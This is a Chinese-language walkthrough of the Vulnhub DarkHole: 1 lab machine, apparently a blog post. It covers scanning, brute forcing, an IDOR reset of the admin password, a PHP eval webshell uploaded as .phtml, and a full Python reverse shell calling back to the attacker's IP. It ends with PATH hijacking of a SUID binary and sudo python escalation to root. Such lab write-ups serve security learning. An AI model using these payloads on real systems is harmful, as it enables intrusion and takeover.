【Vulnhub系列】DarkHole1: 渗透测试笔记,没有踩渗透的坑,却踩到了虚拟机平台的坑,人生处处是大坑

基本信息

虚拟机软件:VirtualBox

靶场:Vulnhub DarkHole: 1

攻击机Kali:192.168.56.3

靶机:192.168.56.7

虚拟机模式:仅主机,攻击机靶机同一网段

下载链接:https://download.vulnhub.com/darkhole/DarkHole.zip

作者:Jehad Alqurashi

难度:简单

说在前面

坑坑坑!!!使用virtualbox 的用户请注意,当你导入ovf之后可能会出现靶机无法获取IP地址的情况,这是因为靶机中的/etc/netplan/00-installer-config.yaml配置文件中的网卡写的是ens33 ,这个是vmware配置的网卡名,virtualbox不适配导致。因此我们需要先进入登录靶机修改文件。接下来先一步步整好这个问题。对于VMware玩家请直接跳到后续步骤。

  1. 通过用户名密码(john/root123)登录靶机后台;
  2. 通过ip a获取到当前的网卡名称,我的是enp0s17;
  3. 执行echo 'import os;os.system("/bin/bash")' > /home/john/file.py 提权到root用户,(后面会说为什么是这种方式);
  4. 通过vim编辑/etc/netplan/00-installer-config.yaml文件,将里面的ens33改为你的网卡名,比如enp0s17,保存并退出;
  5. 执行netplan apply,使配置生效;
  6. 再次执行 ip a 发现网卡名变成了修改后的,并且成功获取到IP地址;
  7. 最后一步,忘掉之前的关键信息,假装自己是从头开始渗透。

一、信息收集

注意:kali中涉及到的命令均通过root用户执行。

确定靶机IP以及开放的服务

  1. 执行arp-scan --local发现存活主机192.168.56.7
  2. 使用nmap扫描开放的端口和服务
shell 复制代码
nmap -sC -T4 -p- 192.168.56.7

共两个,ssh和80端口的web服务。

访问web服务找漏洞

  1. 浏览器访问http://192.168.56.7/,查看源码发现只有一个login.php

  2. 使用gobuster先扫一遍目录
shell 复制代码
gobuster dir -u http://192.168.56.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php,bak,old,txt,html 

通过对扫描出的结果进行验证发现,有几个可测试的点,包括: login.php, register.php, upload/目录,config目录,bdashoard.php(需要登录)。

其中upload目录,有列目录的功能,不过没啥东西,就一张疑似作者的照片

config/目录也是列目录,有个database.php, 但是访问无内容。

登录页面,输入错误的用户名或者密码会提示,但比较模糊。

注册页面, 虽然模糊,但可测试,通过使用admin用户和一个临时邮箱测试发现该系统存在admin用户。

  1. 接下来测试一波密码暴破, 在此过程中使用sqlmap测试了下没结果。此过程可以忽略,没有跑出来。
shell 复制代码
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.7 http-post-form "/login.php:username=^USER^&password=^PASS^:F=username or password is incorrect" -f
  1. 在密码暴破过程中先测试其他的,先注册一个用户a,然后登录看下啥内容。

一个件简单的页面,需要注意的是地址栏的存在id参数,可以测试一下sql注入或者越权漏洞,不过都不行。

  1. 下方有个修改用户名邮箱以及密码的功能,密码没啥可说的,主要看修改用户名这里,是否可以将其修改为平台已存在的用户,然后实现密码覆盖呢?可行,可以注册另一个账号b,然后将在a账号下将名称修改为b,可以实现使用a账号的密码登录b,但当我修改为admin的时候就不行了。可能后端对admin这个角色或者账户名做了限制,

  2. 换一个点,除了修改用户名还有一个是修改用户密码,通过抓包发现Post请求体又个id字段,这里需要忽略掉url中的id,这个是不能修改的。

经过测试发现,这里改成其他用户的id之后,便修改了其他用户的密码,因此尝试将其改为admin的id,由于之前注册的第一个用户的id是2,因此推测admin的id是1

利用burp修改成功,使用admin/a进行登录发现成功了,并且多了一个upload功能

  1. 通过uplaod上传一句话木马测试,<?php @eval($_POST['cmd']); ?>

上传失败,限制了可上传的文件类型,接下来就是绕过。

  1. 通过错误提示猜测可能对后缀做了限制,因此经过修改各种后缀测试发现使用 phtml可以执行。
  1. 使用蚁剑进行连接

10 .通过蚁剑的虚拟终端发现user.txt不允许当前用户读取,接下来就是想办法获取到john的权限。

获取普通用户权限得到user flag

  1. 这里放弃蚁剑的虚拟终端,换个思路,使用蚁剑上传一个用于反弹shell的php文件,然后再上传一个实际的反弹shell的py文件,文件内容如下:
    shell.phtml
php 复制代码
<?php
ignore_user_abort(true);
set_time_limit(0);

exec('nohup python3 /tmp/rev.py >/dev/null 2>&1 &');

echo "ok";
?>

rev.py

python 复制代码
import socket, subprocess, os, sys

LHOST = "192.168.56.3"
LPORT = 6666

def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((LHOST, LPORT))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)

   # 彻底脱离 PHP/HTTP 父进程
   try:
       os.setsid()
   except Exception:
       pass

   # 这里用 /bin/sh,不用 /bin/bash,避免靶机没有 bash
   p = subprocess.call(["/bin/sh", "-i"])

if __name__ == "__main__":
   main()
  1. kali是用nc -lvnp 6666监听,在浏览器中访问http://192.168.56.7/upload/shell.phtml文件
  2. 提升一下shell,按照以下步骤执行
shell 复制代码
# 1. 用python生成pty
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Ctrl+Z 把shell丢后台
# 3. 在kali本机执行
stty raw -echo;fg
# 4. 回车,然后配置环境变量
export TERM=xterm
  1. 下一步进行提权,先是使用了sudo -l发现需要密码,不行。想到最开始扫描到的config/database.php文件,发现mysql的用户名和密码。

联想到该靶机存在john用户,尝试密码复用,发现失败。

  1. 查看mysql数据库内容发现没啥有用信息。
  1. 查看一下SUID的文件,find / -perm -4000 -type f 2>/dev/null

发现一个可疑文件,这个toto文件之前我们通过蚁剑虚拟终端见到过,查看文件内容发现是个可执行的二进制文件。

查看一下文件权限。对于我们当前用户 www-data来讲可以执行

  1. 执行一下toto文件,看有什么输出,/home/john/toto

通过输出推测,该程序执行了id命令,并且 通过 strings /home/john/toto 发现system函数。接下来可以通过蚁剑下载到kali,反编译一下分析。

通过查看 ghidra的结果也是跟猜想一致

  1. 接下来进行提权,既然运行该程序会执行id命令,那么我们的思路就是将id替换为为获取shell的命令,怎么替换呢,这里用到PATH劫持,依次执行以下命令
shell 复制代码
echo "/bin/bash -p" > /tmp/id #将bash shell命令写入到临时目录下虚假的id文件中
chmod +x /tmp/id # 赋予 id可执行权限
export PATH=/tmp:$PATH # 将环境变量配置为 /tmp目录
/home/john/toto  #执行toto,toto会执行id命令,然后id存在于环境变量 /tmp中,因此会优先去tmp下找(为啥优先去这里找,百度一下export PATH=这句话的优先级就知道了),找到后执行 /bin/bash -p

提权成功了,但是权限是john用户,为啥呢,可以看之前的反编译代码。这里设置的xxid是john的,该程序执行的时候显示设置成了john的uid然后再执行的提权,因此会降权到john,而不是root。

  1. 使用 sudo -l看能否直接提权到root, 提示需要输入密码,但是我们看到有个password的文件,内容是root123,可能是john的密码,并且这个file.py文件也很可疑,可能会跟我们后续提权有关系。
  1. 重新使用 sudo -l,密码输入root123,发现密码正确,并且确实跟我们猜想一致,file.py有root权限
  1. 接下来执行sudo /usr/bin/python3 /home/john/file.py即可提权到root用户,注意python3要完整路径。

获取root flag

相关推荐
ACP广源盛139246256731 小时前
硬件选型笔记:GSV2231@ACP,DP1.4 MST 一进三出多屏扩展方案评估
笔记·硬件架构·视频·mst·国产芯片
Awh-2 小时前
ARM 裸机开发 DAY11 学习笔记
arm开发·笔记·学习
志尊宝2 小时前
Vue3 零基础每日笔记(087):Vue3 高频面试题(下)
前端·javascript·vue.js·笔记·ecmascript·#vue.js
叶子丶苏2 小时前
VibeCoding实战三个AI小项目-VibeCoding入门笔记02
大数据·人工智能·笔记
Mr清奇3 小时前
AI辅助开发笔记(1)开发工具和配置
大数据·笔记·intellij idea
Go Work3 小时前
我把 @RefreshScope 挂错了类,新值一直灌不进去
经验分享·笔记
ss2735 小时前
AI时代首先数据库-PostgreSQL实战笔记 | 11 PostgreSQL安装部署常见问题排查与解决
数据库·笔记·postgresql
ab1237686 小时前
three.js 完整笔记
笔记·three.js
xxwl5856 小时前
第六章---计算几何
笔记·学习·算法